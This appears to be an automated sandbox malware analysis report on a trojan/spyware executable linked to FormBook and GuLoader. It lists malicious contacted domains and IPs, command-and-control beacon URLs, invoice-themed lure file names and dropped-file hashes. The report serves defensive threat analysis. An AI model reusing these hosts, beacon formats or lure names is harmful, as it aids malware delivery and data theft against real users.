http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD	Siirtokuitti_006703.exe, 00000003.00000001.19133084777.0000000000626000.00000020.00000001.01000000.00000005.sdmp	false		high
http://www.gopher.ftp://ftp.	Siirtokuitti_006703.exe, 00000003.00000001.19133084777.0000000000649000.00000020.00000001.01000000.00000005.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	Siirtokuitti_006703.exe, 00000003.00000003.19276888205.0000000007678000.00000004.00000020.00020000.00000000.sdmp	false		high
https://doc-04-7k-docs.googleusercontent.com/I	Siirtokuitti_006703.exe, 00000003.00000003.19287599564.000000000765D000.00000004.00000020.00020000.00000000.sdmp, Siirtokuitti_006703.exe, 00000003.00000003.19281692480.000000000765D000.00000004.00000020.00020000.00000000.sdmp, Siirtokuitti_006703.exe, 00000003.00000003.19286262605.000000000765D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://doc-04-7k-docs.googleusercontent.com/	Siirtokuitti_006703.exe, 00000003.00000003.19287599564.000000000765D000.00000004.00000020.00020000.00000000.sdmp, Siirtokuitti_006703.exe, 00000003.00000003.19281692480.000000000765D000.00000004.00000020.00020000.00000000.sdmp, Siirtokuitti_006703.exe, 00000003.00000003.19286262605.000000000765D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	Siirtokuitti_006703.exe, 00000003.00000001.19133084777.0000000000649000.00000020.00000001.01000000.00000005.sdmp	false	Avira URL Cloud: safe	unknown
https://apis.google.com	Siirtokuitti_006703.exe, 00000003.00000003.19276888205.0000000007678000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
130.185.109.77	www.printmyride.store	Germany	51191	XIRRADE	true
84.32.84.32	aurizhon.com	Lithuania	33922	NTT-LT-ASLT	true
183.90.238.43	www.dkansai-cp.com	Japan	9371	SAKURA-CSAKURAInternetIncJP	true
91.195.240.45	www.marketing-solution.net	Germany	47846	SEDO-ASDE	true
109.123.121.243	www.oleictude.xyz	United Kingdom	13213	UK2NET-ASGB	true
162.214.206.200	scottsteedley.com	United States	46606	UNIFIEDLAYER-AS-1US	true
199.192.30.147	www.cookcollectives.xyz	United States	22612	NAMECHEAP-NETUS	true
154.84.88.108	www.ep09.com	Seychelles	134548	DXTL-HKDXTLTseungKwanOServiceHK	true
216.108.231.108	fairbitawayposearisk.com	United States	26277	PREMIANETUS	true
89.31.143.1	www.solarwachstum.com	Germany	15598	QSC-AG-IPXDE	true
162.215.249.40	roconsultores.com	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	true
172.67.153.163	www.1win-legal1.top	United States	13335	CLOUDFLARENETUS	true
23.104.137.185	www.tsygy.com	United States	395954	LEASEWEB-USA-LAX-11US	true
172.217.18.110	drive.google.com	United States	15169	GOOGLEUS	false
142.250.186.97	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
185.106.208.3	albaymedya.com	Turkey	42846	GUZELHOSTINGGNETINTERNETTELEKOMUNIKASYONASTR	true
213.171.195.105	www.arrangeabreak.com	United Kingdom	8560	ONEANDONE-ASBrauerstrasse48DE	true

General Information

Joe Sandbox Version:	37.1.0 Beryl
Analysis ID:	878039
Start date and time:	2023-05-30 11:04:05 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 17m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	Siirtokuitti_006703.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@8/9@23/17
EGA Information:	Successful, ratio: 66.7%
HDC Information:	Successful, ratio: 5.7% (good quality ratio 5.5%) Quality average: 82.7% Quality standard deviation: 25.4%
HCA Information:	Successful, ratio: 96% Number of executed functions: 104 Number of non-executed functions: 136
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, RuntimeBroker.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.190.159.71, 40.126.31.69, 20.190.159.68, 40.126.31.71, 20.190.159.75, 20.190.159.64, 20.190.159.0, 20.190.159.73
Excluded domains from analysis (whitelisted): spclient.wg.spotify.com, wdcpalt.microsoft.com, prdv4a.aadg.msidentity.com, login.live.com, tile-service.weather.microsoft.com, www.tm.v4.a.prd.aadg.trafficmanager.net, wdcp.microsoft.com, login.msa.msidentity.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target Siirtokuitti_006703.exe, PID 8416 because there are no executed function
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
130.185.109.77	P5348574_74676.exe	Get hash	malicious	FormBook	Browse	www.berlinhealthweek.com/bpg5/?lpw7=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2lgF7dehg5lWobVA==&UZCu=zJfEuRXw-P
	535276_86376.exe	Get hash	malicious	FormBook	Browse	www.berlinhealthweek.com/bpg5/?yDcF=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2k5SHNZX0bjzo+VQ==&jdd=UX4BZm
	Product_List.exe	Get hash	malicious	FormBook	Browse	www.berlinhealthweek.com/bpg5/?JBfKk=_uLb4J-vJhW8&8mBWmPn=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2lgF7dehg5lWobVA==
	PS_231.exe	Get hash	malicious	FormBook	Browse	www.berlinhealthweek.com/bpg5/?kyx=IT_WJ&HqE8Cy=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2lgAvEQCI5kWwTVA==
	KD_MEDICAL_POLSKA_23053371.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.die-cyber-versicherer.com/co9t/?LVuSGU=-giyq0&MGuik=O0wiA489QXAo4/zisxW0kKpRL90vV9sT3USeBzF+d48ZKZIeaBWCTOAUxMvYVu20Q54TxHeRRe+2rSLSyytqRGlmgBV+voPflw==
	s4YvlK74zJ.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.die-cyber-versicherer.com/co9t/?h1=O0wiA489QXAo4/zisxW0kKpRL90vV9sT3USeBzF+d48ZKZIeaBWCTOAUxMvYVu20Q54TxHeRRe+2rSLSyytqRGlmgBV+voPflw==&m8hK_F=yFTUihtd4y
	24Hdkz2sGxG1Xq0.exe	Get hash	malicious	FormBook	Browse	www.berlinhealthweek.com/bpg5/?Bjk=Fjw7NbIMlZ8ijMXD&67FoqNQb=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2k5SHNZX0bjzo+VQ==
	Project6531678ZXGT7E.exe	Get hash	malicious	FormBook	Browse	www.berlinhealthweek.com/bpg5/?lN=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2k4SHQdXkalH8+fUZT81zR875Z&g6tdKQ=x7tw
	Product_2798679039798.exe	Get hash	malicious	FormBook	Browse	www.berlinhealthweek.com/bpg5/?uv07ZY=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2k5SHNZX0bjzo+VQ==&oQpHyl=qT7yWNInu
	32426387455_W5373883.exe	Get hash	malicious	FormBook	Browse	www.berlinhealthweek.com/bpg5/?GZN=6mGs&pf3=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2k4V3BQC4bliA6eEZT81nMxb5Z
	DHL_INVOICE_NOTIFICATION_pdf.exe	Get hash	malicious	FormBook	Browse	www.berlinhealthweek.com/n65e/?L6G9CC=6yO9fYe2l72ucsH66gyZY6BVRsQbQ6t2bL7S9rbBk/tOcgXaRN4vcF5ewa8mY8al2Njms7MhjcL3QNfNzH9xbPTfBYDSAjd9Vw==&OjglYF=nrT9ttFevz9kJV
	INVOICE_#2736.exe	Get hash	malicious	FormBook	Browse	www.berlinhealthweek.com/bpg5/?JaU=MtyGvtjXetI/I8tDbK2owBF5n98UCX/xugphV/8mPC2YbHujdbNXelvuFR4JIdJe4QTgQSn6m54tdOdmKx2k4SHQdXkalH8+fUZT81zR875Z&G3=nb4FI3S6Ge8yTg
	PURCHASE_ORDER_pdf.exe	Get hash	malicious	FormBook	Browse	www.berlinhealthweek.com/n65e/?vsc5CQEL=6yO9fYe2l72ucsH66gyZY6BVRsQbQ6t2bL7S9rbBk/tOcgXaRN4vcF5ewa8mY8al2Njms7MhjcL3QNfNzH9ycOP5O5TaCRJITfdEpyVN7IM+&BOlc_j=zr9WAC
	PUCHASE_INQUIRY_pdf.exe	Get hash	malicious	FormBook	Browse	www.berlinhealthweek.com/n65e/?JBlCXoB=6yO9fYe2l72ucsH66gyZY6BVRsQbQ6t2bL7S9rbBk/tOcgXaRN4vcF5ewa8mY8al2Njms7MhjcL3QNfNzH9yRp3PEq7aGAhEUg==&ik_E=eSJ0Nu0lvfR1d
	rORDERINQUIRY_pdf.exe	Get hash	malicious	FormBook	Browse	www.berlinhealthweek.com/n65e/?2zA4Ozc2=6yO9fYe2l72ucsH66gyZY6BVRsQbQ6t2bL7S9rbBk/tOcgXaRN4vcF5ewa8mY8al2Njms7MhjcL3QNfNzH9ycOP5O5TaCRJITfdEpyVN7IM+&vaaH=mXhCUEu
	SCAN_039478575-PDF.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.haschischfabrik.com/q9dv/?Jbh8aP=FBQmPzGUu2i12HY687gK1tL9tCd8zZBd53AIwE1qzSPr9ozt5Jdog2dHWNPdIOyDotYFuSyhriuPbrH5p8hvlRNA52TgK1SmYA==&m8sX4N=6lrLYL38Pp3TVn4p
	hornMX9rFW.exe	Get hash	malicious	FormBook	Browse	www.heyabo.com/hisp/?YR=lRVzyHAqIBmA5ZYI/BSeAnUngkbG+4zlr4M5FXEoiiIvCzMiK86iL+tPeqjgOQFDC3P8&utUPMn=mT-DZ

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.zinkiggekis.xyz	Nurseries.exe	Get hash	malicious	FormBook, GuLoader	Browse	109.123.121.243
	Udbytninger.exe	Get hash	malicious	FormBook, GuLoader	Browse	109.123.121.243
	Beboer.exe	Get hash	malicious	FormBook, GuLoader	Browse	109.123.121.243
	Andetledets.exe	Get hash	malicious	FormBook, GuLoader	Browse	109.123.121.243

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
XIRRADE	P5348574_74676.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	Product7825.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	535276_86376.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	Product_List.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	PS_231.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	KD_MEDICAL_POLSKA_23053371.exe	Get hash	malicious	FormBook, GuLoader	Browse	130.185.109.77
	s4YvlK74zJ.exe	Get hash	malicious	FormBook, GuLoader	Browse	130.185.109.77
	24Hdkz2sGxG1Xq0.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	Project6531678ZXGT7E.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	Product_2798679039798.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	32426387455_W5373883.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	DHL_INVOICE_NOTIFICATION_pdf.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	INVOICE_#2736.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	KXDmIlMnn3.elf	Get hash	malicious	Mirai	Browse	185.169.25.1
	PURCHASE_ORDER_pdf.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	PUCHASE_INQUIRY_pdf.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	rORDERINQUIRY_pdf.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	SCAN_039478575-PDF.exe	Get hash	malicious	FormBook, GuLoader	Browse	130.185.109.77
	SqBed9dcfz	Get hash	malicious	Mirai	Browse	195.138.242.140
	hornMX9rFW.exe	Get hash	malicious	FormBook	Browse	130.185.109.77

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	5818invcomp5818.js	Get hash	malicious	NetSupport RAT	Browse	172.217.18.110 142.250.186.97
	Testifying14_OGTB.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	172.217.18.110 142.250.186.97
	Musikus.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	172.217.18.110 142.250.186.97
	#Uad6c#Ub9e4#Ud655#Uc778#Uc11c.exe	Get hash	malicious	GuLoader	Browse	172.217.18.110 142.250.186.97
	Quotation_Invoice_-_new_Order.exe	Get hash	malicious	AveMaria, Clipboard Hijacker, UACMe	Browse	172.217.18.110 142.250.186.97
	TRT432537.2023.624430.673564.26748.lNk.lnk	Get hash	malicious	Unknown	Browse	172.217.18.110 142.250.186.97
	CBM_Vistoria82783048885553654586815.699179.38512.lNk.lnk	Get hash	malicious	Unknown	Browse	172.217.18.110 142.250.186.97
	file.exe	Get hash	malicious	Vidar	Browse	172.217.18.110 142.250.186.97
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.217.18.110 142.250.186.97
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.217.18.110 142.250.186.97
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.217.18.110 142.250.186.97
	08590699.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	172.217.18.110 142.250.186.97
	rFactura.bat.exe	Get hash	malicious	GuLoader	Browse	172.217.18.110 142.250.186.97
	z1INV-01182023.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	172.217.18.110 142.250.186.97
	SiiMarzo.msi	Get hash	malicious	Unknown	Browse	172.217.18.110 142.250.186.97
	file.exe	Get hash	malicious	Clipboard Hijacker, Vidar	Browse	172.217.18.110 142.250.186.97
	Update.js	Get hash	malicious	Unknown	Browse	172.217.18.110 142.250.186.97
	18042023_Sotramac - Modelo Financiero_Propuesta Lenders_Consolidado.xlsm	Get hash	malicious	Unknown	Browse	172.217.18.110 142.250.186.97
	Ramsay.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	172.217.18.110 142.250.186.97
	Restindholdenes.exe	Get hash	malicious	FormBook, GuLoader	Browse	172.217.18.110 142.250.186.97

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsl3DD.tmp\System.dll	AY_Cerrahi_Aletler_A.#U015e%0%_Order_n#U00b0_23005254.exe	Get hash	malicious	GuLoader	Browse
	Testifying14_OGTB.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	Musikus.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	Testifying14_OGTB.exe	Get hash	malicious	GuLoader	Browse
	Musikus.exe	Get hash	malicious	GuLoader	Browse
	rFactura.bat.exe	Get hash	malicious	GuLoader	Browse
	z1INV-01182023.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	rFactura.bat.exe	Get hash	malicious	GuLoader	Browse
	z1INV-01182023.exe	Get hash	malicious	GuLoader	Browse
	Ramsay.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	Ramsay.exe	Get hash	malicious	GuLoader	Browse
	Kulbrintens.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	Factura.rar	Get hash	malicious	GuLoader	Browse
	Kulbrintens.bat.exe	Get hash	malicious	GuLoader	Browse
	EXTRACTO_BANCARIO.PDF.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	EXTRACTO_BANCARIO.PDF.bat.exe	Get hash	malicious	GuLoader	Browse
	L1uUC7RRH4.exe	Get hash	malicious	GuLoader	Browse
	L1uUC7RRH4.exe	Get hash	malicious	GuLoader	Browse
	RFQ_96673761.05..2023.exe	Get hash	malicious	Remcos	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Standpost\Chaplainry\Elastikbindet\Emotionalistic\Reseparating\Kanhave.Int66

Process:	C:\Users\user\Desktop\Siirtokuitti_006703.exe
File Type:	data
Category:	dropped
Size (bytes):	413494
Entropy (8bit):	6.407604815002332
Encrypted:	false
SSDEEP:	6144:5ZGKPIh5IfAwA5ds8EJH942qE4dTII+crUvAmpEl:GeIhcPkspePdTIeaAmpa
MD5:	5D12986BB321817EB443F07AD849BE30
SHA1:	FB77CAD1471649E61C5661884C7283F45FF75DA1
SHA-256:	B74105E535D8D7EED3788E9E0AC5A1FEBEE72CC2CE05C3EEA2EE67E43FC394B4
SHA-512:	11328E699AC4FC79E54CE666E01BFDD75B70C6E5614563E3AD7F781557920C165BA971156972AC79E141EC0D4297E513A6A249102FAFA926C42EF8D69DB652BB
Malicious:	false
Preview:	........x..Z.<.Y...........B....GGG...<..4.....,......r.......u..........................""".{..........................A..............""......YYY...............VV........./......................o........BB....&&.........................................t.<......................................................YYY...........?...p.>.........&&.....................S....##..................................h.....................~~..........K...]]]....BB.....8............\\\\.........K.III..............D...............................................................2.....h......NN..........6666.....\.....................6....0..................7777.......YYY.F.......6..q.........g............................FFFFFF........4.......................................................AA..........-............BBBBBB.................CC..,,,,........................4........GGG..LL.......00.....................K............0..~~.................... ..``..........**.....i.-.........((.....9._.t.......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Standpost\Chaplainry\Elastikbindet\Emotionalistic\Reseparating\libstdc++-6.dll

Process:	C:\Users\user\Desktop\Siirtokuitti_006703.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1245
Entropy (8bit):	5.462849750105637
Encrypted:	false
SSDEEP:	24:hM0mIAvy4Wvsqs1Ra7JZRGNeHX+AYcvP2wk1RjdEF3qpMk5:lmIAq1UqsziJZ+eHX+AdP2TvpMk5
MD5:	5343C1A8B203C162A3BF3870D9F50FD4
SHA1:	04B5B886C20D88B57EEA6D8FF882624A4AC1E51D
SHA-256:	DC1D54DAB6EC8C00F70137927504E4F222C8395F10760B6BEECFCFA94E08249F
SHA-512:	E0F50ACB6061744E825A4051765CEBF23E8C489B55B190739409D8A79BB08DAC8F919247A4E5F65A015EA9C57D326BBEF7EA045163915129E01F316C4958D949
Malicious:	false
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="http://www.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>..<title>404 - File or directory not found.</title>..<style type="text/css">.. ..body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..background-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}..-->..</style>..</head>..<body>..<div id="header"><h1>Server Error</h1></div>..<div id="content">.. <div class="co

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Standpost\Forureningssagerne\th.txt

Process:	C:\Users\user\Desktop\Siirtokuitti_006703.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	16219
Entropy (8bit):	4.008729331792855
Encrypted:	false
SSDEEP:	384:ir9n+rMUfsqjeWnShfO1LpBIB9jip10zsPRO2a8fUhe1RBC6sl4wjn/PqIpqINAG:09n+4csqjeWnSh21LpBIB1O10zsPRO2e
MD5:	8EE06A03DC18E5F8BC750CB6A78F6D9C
SHA1:	179C195700DF844216C2CABDC17062CDDBD1D6B3
SHA-256:	01E7B965BD4B722003F74B4E4B30EF6A1BAEA67108816D1B9F8D6ADD39C7FA10
SHA-512:	4C908BA391BAC8BD36BF76B5C3B59DD59EB71F2513BCD04C47CBDE683AD463C0FEAC5D5AADA67730F3F566156C4BEFF09CD7B7D1EB043B988AD7938B9041C4EC
Malicious:	false
Preview:	.;!@Lang2@!UTF-8!..; 4.09 : Chayanon Ruamcharoen..; 4.10 : Zafire06 ..; 9.13 : Kom10..;..;..;..;..;..;..;..;..0..7-Zip..Thai.......401......................&.....&.....&..................&..............440........................................&...................&...................&.....................................................500..&......&.......&........&............&............&...........540..&..............................................&........&.......&.......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Standpost\October\Rekonvalescensens.Vin

Process:	C:\Users\user\Desktop\Siirtokuitti_006703.exe
File Type:	data
Category:	dropped
Size (bytes):	169022
Entropy (8bit):	4.589886661555487
Encrypted:	false
SSDEEP:	1536:EuF+zTMtOKaWpnCXRGvmAxfv/oFqaJ+/BwcvxzUbRPadQsTV2rEMpkFwWdjp:PF+zoO2ChoxfHhaJSxcpctV4E6ub
MD5:	C6D8804F1AEF373987D4379775120355
SHA1:	839D3072BA5BF68A866488F6DB0CCBE7F99EE926
SHA-256:	1DF9113DBE9C4E3D9CDE48E847E02E9293A19EE9C7907513EC194F6060D56327
SHA-512:	4DE963ADCDFA244180F125E8D3656B401AB532E6CCFFA4273F09727B3E6B2D8B8FF91CFBAB96D5C1812BC68CD1F20508645CAEE5CFC18478BFC298B3E5749C95
Malicious:	false
Preview:	..........YY......h..........\|\|.....................................E....-.....rr......................44......z..."...\\....E........................5............///...,.........ee......"".............\|.............o....eeeee...T.....(.\|.....}....m....._..........!!!!................____..............QQ......[..............?.-.........C..................6.IIII.....f.........$.`......f..........."....................................NNN......................r....mm.............................................?.Z................22....................3...........7777......####.55...l.......0..............L........N.HHHH.D..................\\\\\.......S.................vvv..............+...........................\\\\\\..........................QQ......................jj..................q.]]......................................................................................i.t.2.........JJJ.............c........==....;...................F....Q..P......*.....f.................444...eee

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Standpost\mos\Ensileringen\value-increase-symbolic.symbolic.png

Process:	C:\Users\user\Desktop\Siirtokuitti_006703.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	113
Entropy (8bit):	5.322830648467957
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lAnsrtxBllRxdh9TFaxedVjtNOh99bXDgpaGp:6v/lhPysfnTF6QROripxp
MD5:	2D78FF1482A10EA250A500C55EDB7A4D
SHA1:	02DC306A0B14673185941637E78C3E0115F3BADC
SHA-256:	EA88C0E8743471267DB4183A75E6122CE10062EF396ABEAE5C0BC4FD2D65A6F1
SHA-512:	2EB3D54E72CFF8B061676AA791D021464777FEA77E5D6424B8DE9A78C8E32D894ED164C096FC150C7B0E4D46A8B31C75B54A72C2DB02DECAECB8E555D39993A0
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d....(IDAT8.c`...?...L..0..0......>.]@...X........S.w....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Standpost\mos\Ensileringen\view-conceal-symbolic.symbolic.png

Process:	C:\Users\user\Desktop\Siirtokuitti_006703.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	335
Entropy (8bit):	7.095851697806942
Encrypted:	false
SSDEEP:	6:6v/lhPys5Jof+tyN7VOpx4afN+5NgEH6qLcI+u0esU4rEZldp:6v/7ZykpiU0PzcI+u0esUsu
MD5:	E72143CD9BE062D8342120781800F8BC
SHA1:	5D85AA22D020B3D61E006514F656604F5B1408D0
SHA-256:	68ED609E76734EA801E8D6A339FB49B8DD6A783AE200380C4E35ABDD47E77094
SHA-512:	D34C6CEDA5DFCDC222A7BFC0FDB1B6532287DD2A89BE6A098986C727D37285D27BEE9DC5D9C681CA7FE4CDB3A1246068A2AC1A6D0AD36E939F7A3FA44401DA5F
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d.....IDAT8...JCA....A.......4..+;.!....Fm..`..+.AHo.MbRd.,..........3.g./............q..4@.C....=.4Q..e...G..E..!....r..V.@.E...W3.K.o.....Z.0:a...ceX...\......zI..[.......j-.u\|.....$y=l...$....b.v.......2H..S.....8J.G...1y:]l..*8....j#..f.f.l\|g......@>eI.2......IEND.B`.

C:\Users\user\AppData\Local\Temp\655E597w

Process:	C:\Windows\SysWOW64\mstsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 5, database pages 59, cookie 0x4f, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	1.1305327154874678
Encrypted:	false
SSDEEP:	192:oLt4nKTjebGAUJp/XH9euJDvphC+KRmquPWSTVumQ6:it4nsJp/39RDhw+KRmqu+cVumQ
MD5:	D331C900DDE8ACB523C51D9448205C0A
SHA1:	BDB3366F54876E78F76A6244EDA7A4C302FEB91D
SHA-256:	F199798DF1C37E3A8F6FFF1E208F083CF687F5C6A220DCAD42BB68F2120181CD
SHA-512:	415E4F4F26D4F861063676EA786C2941DB8DB7E248E32D84595BC7D531CE19669AFDCB447BC18B0B723839984CD15269FF6E89EBCD168D8EBD0EC7AF86CC92E7
Malicious:	false
Preview:	SQLite format 3......@ .......;...........O......................................................O}...........5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsf284.tmp

Process:	C:\Users\user\Desktop\Siirtokuitti_006703.exe
File Type:	data
Category:	dropped
Size (bytes):	628366
Entropy (8bit):	5.986084149074343
Encrypted:	false
SSDEEP:	12288:YA0HeIhcPkspePdTIeaAmpx2Ikf356uqb:HtDMPdIeOxZky
MD5:	86135A8B6112F3F13C0FE924F05AD36A
SHA1:	33F38034799879E755AD0DE41BE614AB8ABB1366
SHA-256:	82DB411D8166E41F07E5056580A9791F7DBF33149B4B707DC2DC18C5C690F03F
SHA-512:	8774ACCA21FB5275D4AE1BD08387F67A44B23DE0169F4783DB396402A388397FE73D2F9AB0E2D21B9EE28634151715C8E991680B1CE365A8723217FC54A7576F
Malicious:	false
Preview:	.>......,.......,.......D.......`........=.......>..........................................................................................................................................................................................................................................G...J...........!...h...............................................................g...............................................................j...............................................................................................................................8...........q...........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsl3DD.tmp\System.dll

Process:	C:\Users\user\Desktop\Siirtokuitti_006703.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.659384359264642
Encrypted:	false
SSDEEP:	192:ex24sihno00Wfl97nH6BenXwWobpWBTtvShJ5omi7dJWjOlESlS:h8QIl972eXqlWBFSt273YOlEz
MD5:	8B3830B9DBF87F84DDD3B26645FED3A0
SHA1:	223BEF1F19E644A610A0877D01EADC9E28299509
SHA-256:	F004C568D305CD95EDBD704166FCD2849D395B595DFF814BCC2012693527AC37
SHA-512:	D13CFD98DB5CA8DC9C15723EEE0E7454975078A776BCE26247228BE4603A0217E166058EBADC68090AFE988862B7514CB8CB84DE13B3DE35737412A6F0A8AC03
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
